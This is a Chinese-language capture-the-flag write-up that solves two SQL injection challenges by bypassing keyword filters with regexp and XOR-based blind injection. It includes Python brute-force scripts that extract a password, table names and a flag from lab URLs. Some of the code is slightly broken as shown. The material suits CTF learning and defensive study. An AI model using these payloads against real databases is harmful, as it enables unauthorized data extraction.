[NCTF2019]SQLi&&[GYCTF2020]Ezsqli

[NCTF2019]SQLi

题目

image-20240602180918630

扫一下后台文件发现robots.txt,发现hint.txt

image-20240602181501943

可以看到过滤了一堆关键字,用一般的方法注入肯定不行,但是好的地方是题目里已经把sql语句写了出来,我们可以根据黑名单和sql语句进行分析

解题过程

我们先来想一下怎么写一个poc,一般做法是用单引号闭合然后用注释符注释后面的部分,但是这里将单引号过滤了,考虑到有两个字段,可以用’\‘实现单引号逃逸,但是注释符好像都被过滤了,但是我灵光一现,突然就想到了%00截断(好吧,其实写的时候想不到怎么做直接看wp了呜呜

尝试用

1
username=\&passwd=||1;%00

发现响应里有welcome.php

image-20240602193345619

这个应该是正常的响应了,但是我们如何拿到flag呢?

注意hint.txt里的一句话,If $_POST[‘passwd’] === admin’s password即可得到flag,因此我们只需获得passwd字段的值就行,但是看这一大堆过滤,联合查询和报错查询应该都用不了了,那应该怎么做呢?

regexp正则注入

其实我们可以想到还可以用like类似模糊匹配来获取字段值,就可以想到regexp,它刚好也没有被黑名单过滤,但是这个模式串应该怎么写?因为passwd的每一个字符我们都不知道,但是我们知道了正常响应会给一个welcome.php,由此我们可以想到用盲注来获取信息,我们可以从第一个字符开始一步步猜测,比如’passwd regexp ^a’,不行就用’b’,直到有welcome.php出现在响应报文中,这个注入过程可以写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from urllib import parse
url = 'http://0ee3cb75-d509-4e13-89ae-63671edde26a.node5.buuoj.cn:81/index.php'
flag = ''
#可能出现的字符,看到wp里这种简洁的写法就直接拿来用了
string = string.ascii_lowercase + string.digits + '_'
for i in range(1,50): #猜测passwd值的长度,应该不至于超过50吧
for j in string:
data = {'username':'\\'
'passwd':'||passwd/**/regexp/**/"^{}";{}'.format(flag + j,parse.unquote('%00'))#parse.unquote('%00')防止%00被转义
} #传'\'脚本里要写'\\',否则把后面单引号转义了
r = request.post(url=url,data=data)
if 'welcome' in r.text:
flag += j
print(flag)
break
#注意如确定第一个字符为y时,只有正则式^yo会匹配到
if j == '_' and 'welcome' not in r.text:
break

最后得到密码

image-20240602220219633

最后拿到flag

image-20240602221008736

[GYCTF2020]Ezsqli

题目

image-20240602221144847

用2-1,2试出来是数字型注入,但是union被过滤,并且报错只返回bool(false),考虑盲注

发现’|’,’^’未被过滤,可以用如’1^(ascii(substr((select(database())),1,1))>1)^1’判断数据库名的第一个字符,以此类推。同样可以写个脚本(这里用以前的脚本稍微改了一下)

爆表名,注意information_schema被过滤可用sys.schema_table_statistics_with_buffer替代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import time
#sess = requests.session() r = sess.get()
#sess.mount('http://', HTTPAdapter(max_retries=3))
#sess.mount('https://', HTTPAdapter(max_retries=3))
def exp(url_format,length=None):
rlt = ''
url = url_format
if length==None:
length = 1000
for l in range(1,length+1):
time.sleep(0.06)
#从可打印字符开始
begin = 32
ends = 128
tmp = (begin+ends)//2
while begin<ends:
#print(url.format(l,tmp))
#r = requests.get(url.format(l,tmp))
#sys.schema_table_statistics_with_buffer
postdata={
'id':'1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{},1))>{})^1'.format(l,tmp)
}
r = requests.post(url=url,data=postdata)

time.sleep(0.04)
#根据题目定
if "Nu1L" in r.text:
begin = tmp+1
tmp = (begin+ends)//2
else:
ends = tmp
tmp = (begin+ends)//2
#酌情删除,毕竟一般库表列里都没有空格
if tmp == 32:
break
rlt+=chr(tmp)
print(rlt)
#return rlt.rstrip()

url = 'http://0c6136cd-28f3-4e59-88b0-23866525afa8.node5.buuoj.cn:81/'
exp(url)

image-20240602222543720

可是列名应该怎么办呢?同样我们可以用盲注的方法如select “{chr}” > select * from f1ag_1s_h3r3_hhhh,如果f1ag_1s_h3r3_hhhh只有一列,当chr的ascii码值大于列名第一个字符ascii码值时,返回1,否则返回0

ps:f1ag_1s_h3r3_hhhh实际有两列,可以用select 1,2,select 1,2,3尝试,这里还需注意f1ag_1s_h3r3_hhhh必须只有一行记录

例如存在记录:id=1,flag=c

则select 1,d > select 1,c

返回1,其实就是”1d”>”1c”

接着再写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://0c6136cd-28f3-4e59-88b0-23866525afa8.node5.buuoj.cn:81/'
flag = ''
for i in range(1,70):
for char in range(32, 127):
hexchar = flag + chr(char)
#刚开始一直比列名中字符的ascii值小,回显是V&N,直到有个字符ascii码值大于它返回1,此时回显内容为Nu1L
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break

最后得到flag,将字符转小写即可

image-20240602224755521

image-20240602224850990

小结

sql注入还是有挺多需要注意的点的,刚好想到最近在写数据库课设,事真多啊啊啊